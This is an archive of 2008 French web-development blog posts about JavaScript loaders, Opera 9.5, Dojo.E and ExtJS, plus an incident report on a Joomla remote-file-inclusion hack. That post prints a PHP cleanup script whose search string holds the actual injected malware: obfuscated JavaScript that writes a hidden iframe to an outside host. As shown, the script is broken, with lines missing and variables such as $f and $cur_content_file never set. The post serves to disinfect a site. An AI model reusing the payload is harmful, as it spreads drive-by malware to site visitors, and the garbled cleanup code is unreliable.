20 juin 2008 par Yohann CIURLIK
Il est parfois difficile de gérer aisément le chargement, l’organisation de ces scripts Javascript. Surtout lorsque les fichier sont nombreux et/ou que les librairies ne sont pas toutes compatibles entre elles. Il n’est pas toujours utile de charger toutes les librairies Javascript pour une page donnée.
Voici deux nouveaux Ajax Loader ou plutôt Javascript Loader dans le même genre que la Google Ajax Librairies que je vous avez déjà présenté.
L’idée étant de délégué à un framework ou un outil la gestion de vos différentes sources Javascript.
Module.Js
Ce framework très léger permet de charger, inclure, déclarer, cacher des sources de script via quelques lignes de codes.
Par exemple
- Un chargement de fichier :
-
<script src="modules.js?<strong>./index.js</strong>"></script>
Archetypes.js
C’est un framework plus puissant qui en plus de traiter ce genre de problème permet également de fournir une architecture type sur laquelle vont reposer tous vos développements de Javascript.
C’est une sorte de templatisation de vos sources Javascript. Vous suivez donc un modèle bien particulier. Ce sont de bonnes pratiques.
Les dépendances sont gérées ainsi :
-
dependencies: {
-
components: {
-
slideManager: "Slidy.components.slideManager",
-
slideChangeHandler: "Slidy.components.slideChangeHandler",
-
slideCounter: "Slidy.components.slideCounter"
-
},
-
lib: ["Slidy.libs.shjs.sh_main", "Slidy.libs.shjs.sh_javascript", "Slidy.libs.shjs.sh_html"],
-
css: ["Slidy.css.slidy", "Slidy.css.w3c-blue", "Slidy.libs.shjs.sh_typical"],
-
html: {
-
main: "Slidy.templates.container"
-
}
-
}
En plus de la gestion de dépendances, vous pouvez également faire de la programmation orientée composant via ce puissant framework. Ce qui augmente la lisibilité du code et permet une maintenance plus facile. Ce schéma résume parfaitement l’idée du framework Archetype : Une approche orientée MVC et composant.

Le code est donc simplement organisé :
-
Archetype.Component.Extend(["Archetype.component.graphicalComponent"], {
-
name:"Sample.component.graphicalFoobar",
-
/**
-
* Set up the Component dependencies
-
*/
-
setup:{
-
dependencies: {
-
components:{foobar: "Sample.components.foobar"},
-
lib:[],
-
css:[],
-
html:{main: "Sample.templates.foobarComponent"}
-
}
-
},
-
/**
-
* Start the Component itself
-
* @constructor
-
*/
-
initialize: function() {
-
this.options = {
-
max: 5,
-
date: new Date(0),
-
table: ["a","b","c","d","e"]
-
}
-
this.anchor = $("bodyContent");
-
-
Logger.debug("foobarGraphical has been instanciated!");
-
-
new this.components.foobar();
-
Logger.debug("foobar launched from foobarComponent!");
-
-
this.render(this.anchor);
-
Logger.debug("foobarGraphical rendered!");
-
},
-
/**
-
* Listen to "DateUpdate" event
-
*/
-
onDateUpdate: function(eventName, date) {
-
this.options.date = date;
-
this.render(this.anchor);
-
Logger.debug("foobarGraphical received a date: " + date);
-
},
-
/**
-
* Render the Component view and return it
-
*/
-
renderViewAsString: function() {
-
return this.templates.main.evaluate(this.options);
-
}
-
});

12 juin 2008 par Yohann CIURLIK
Ce sera donc 3 semaines avant la sortie de Firefox 3 qu’ Opéra nous dévoile sa nouvelle version d’ Opéra. Opéra 9.5 est maintenant disponible en version finale depuis le site Opera Browser.
Au menu, un outil de recherche rapide, des bookmarks visuels, une navigation totale à la souris et pleins d’autres nouveautés.

Mais le plus important, c’est surement le nouveau moteur de rendu deux fois plus rapide que celui utilisé dans la version 9.2. Optimisé principalement pour le rendu Javascript et les requetes Ajax. Il permet également un démarrage plus rapide du navigateur.
Ils en parlent :
9 juin 2008 par Yohann CIURLIK
Je tenais à vous avertir de l’ouverture d’un tout nouveau blog orienté vers le développement Java et notemment tout ce qui touche de loin ou de près aux nouvelles technologies autour de SOA, REST, Ajax, RIA, Web Services, …
SOAPlanet est un blog tenu par Hugo, un collègue de Fac avec qui j’ai passé quelques années.
J’apprècie le thème qu’il à choisi pour la rédac de ses articles et j’ai même découvert Dojo.E, un framework Ajax bien sympa.

Dojo.E est une surcouche de l’ensemble d’outils Javascript Dojo qui permet de décrire des interfaces graphiques en XML. Un format qui reste très verbeux mais plus simple que le JSON dans sa syntaxe. Il est tout de même plus simple de voir la non fermeture d’un balise XML que de voir une virgule en trop en JSON.
Une double découverte pour plaisir double. A consommer sans modérations !
2 juin 2008 par Yohann CIURLIK
Durant une partie de la journée, mon blog est devenu inaccessible. La raison étant qu’un vilain petit hacker s’est amusé à pourrir mon site. En réalité, ce n’est pas une personne mais un script qui parcours le net à la recherche de potentielles failles de sécurité sur les sites.

Mais que s’est-il passé ?
Même si mon blog fonctionne sous Wordpress pour des raisons de conforts, la racine de mon site est basé sur le CMS Joomla. Je n’utilise plus ou très peu ce dernier et cela faisait longtemps que je n’avais pas mis à jour sa version (passage de 1.0.12 à 1.0.15). J’ai donc découvert une faille d’inclusion de fichiers distant dans la variable mosConfig_absolute_path. Un exploit bien simple mais très ennuyeux car le hacker peut exécuter n’importe quel code PHP sur votre site.
Résultats
Le hacker en à profiter pour modifier tous mes fichiers PHP (1822 au total) pour y inclure un script qui s’exécute sur la machine cliente. Ne craignez rien, j’ai supprimé le code qui était bloqué par votre antivirus dans tous les cas.
J’ai donc utilisé un script maison pour remédier au problème et supprimer le code malicieux de mes fichiers sources. Le code source est le suivant (à utiliser à vos risques et périls sur votre serveur) :
-
<?php
-
//passer à true pour afficher les détails des fichiers
-
$show_details = false;
-
//passer à TRUE pour effectuer le nettoyage
-
$process = true;
-
-
//ecrit dans le fichier n les données d
-
function file_put_cont($n, $d) {
-
-
if ($f === false) {
-
echo "Impossible d’ouvrir le fichier ".
$n;
-
} else {
-
-
$bytes_written =
fwrite($f,
$d);
-
-
return $bytes_written;
-
}
-
}
-
-
//scan les répertoires récursivement
-
//retourne un tableau contenant les fichiers php
-
function searchdir ( $path = "." , $maxdepth = -1 , $mode = "FILES" , $d = 0 ){
-
if ( substr ( $path ,
strlen ( $path ) -
1 ) !=
‘/’ ) { $path .=
‘/’ ;
}
-
-
if ( $mode != "FILES" ) { $dirlist[] = $path ; }
-
if ( $handle =
opendir ( $path ) ){
-
while ( false !==
( $file =
readdir ( $handle ) ) ){
-
if ( $file != ‘.’ && $file != ‘..’ ){
-
$file = $path . $file ;
-
-
if ( $mode != "DIRS" ) {
-
-
if($file_part[‘extension’] == "php" || $file_part[‘extension’] == "PHP") {
-
$dirlist[] = $file ;
-
}
-
}
-
}
-
elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) ){
-
$result = searchdir ( $file . ‘/’ , $maxdepth , $mode , $d + 1 ) ;
-
-
}
-
}
-
}
-
-
}
-
-
return ( $dirlist ) ;
-
}
-
-
//scan le tableau de fichier a la recherche de la chaine $token
-
//retourne un tableau composé des fichiers qui contenait la chaine $token
-
function searchstring($file_array , $token, $process) {
-
-
for($i=0;$i<count($file_array);$i++){
-
$cur_file = $file_array[$i];
-
-
if(stripos($cur_content_file,$token)!==false) {
-
//ajout des fichiers au tableau
-
$dirlist[] = $cur_file;
-
//suppression de la chaine
-
$new_content =
str_replace($token,
"",
$cur_content_file);
-
if($process == true){
-
$var = file_put_cont($cur_file, $new_content);
-
if($var != false) {
-
if($show_details) {
-
echo $var.
" octets ecrits dans ".
$cur_file;
-
}
-
}
-
} else {
-
echo ‘File : ‘.
$cur_file.
‘<br/>’;
-
}
-
}
-
}
-
return ( $dirlist ) ;
-
}
-
echo ‘<h2>Nettoyage des fichiers PHP</h2>’;
-
//scan les repertoires et recherche les fichiers php
-
$arbo = searchdir(".");
-
echo "Fichiers de l’arborescence : <br/>";
-
if($show_details==true) {
-
for($i=0;$i<count($arbo);$i++){
-
echo ‘File : ‘.
$arbo[$i].
‘<br/>’;
-
}
-
} else {
-
-
}
-
-
$token = ‘<?php echo \’<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\”ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\”ykfvj?3\”jgkijv?3\”htcogdqtfgt?2@"));</script>\’;?>’;
-
echo "Chaine à rechercher : ".
$token.
"<br/><br/>";
-
-
//scan les fichiers trouvés afin de trouver la chaine incréminée
-
echo "Fichiers infectés : <br/>";
-
$arbo = searchstring($arbo, $token, $process);
-
-
echo count($arbo).
" fichiers modifiés !<br/>";
-
-
if($process == true)
-
echo "Opération terminée !<br/>";
-
else echo "Mettre process à TRUE pour effectuer l’opération !<br/>";
-
?>
Le fichier liste les fichiers php de votre serveur, vérifie et supprime la chaine $token contenue des fichiers sources.
Conclusion
Mettez toujours à jour vos applications et effectuez des sauvegardes régulières, c’est vital !
15 mai 2008 par Yohann CIURLIK
ExtJS est l’une des meilleures librairies graphique en Javascript du moment. Je l’avais présentée en Novembre dernier comme un Framework Ajax Design.

La version 2.0 du framework est vraiment bien conçue et les démonstrations sont vraiment impressionnantes.
A cela s’ajoute la librairie de widgets GWT-Ext :

Cette librairie utilise la puissance du webtoolkit de Google (GWT) et d’ExtJS pour fournir un ensemble de widgets à coder directement en Java pour vos applications web. Le résultat : des composants graphiques de très bonne qualité compatibles avec tous les principaux navigateurs web et cela en quelques lignes de Java.
Si vous êtes un développeur J2EE, vous n’avez pas non plus de soucis à vous faire. Il existe une taglib spécifique pour coder des composants ExtJS dans vos pages JSP. Il sagit de la TLD ExtTLD.

Le résultat est encore une fois hallucinant. Quelques lignes suffisent pour obtenir des composants graphiques dans vos pages JSP.

ExtJS devient à aujourd’hui une librairie très riche et fonctionnelle. Le code devient assez compliqué dès qu’il s’agit de customiser le moindre composant mais heureusement pour nous il existe sur Internet des blogs, forums et communautés qui fournissent des solutions à nos problèmes. On pourra citer l’exemple de ce blog qui recense un certains nombre de liens vers des composants ExtJs customiser et améliorés.
ExtJS est, pour moi, une référence de qualité dans le monde des RIA. A en voir le nombre d’entreprises qui l’utilise…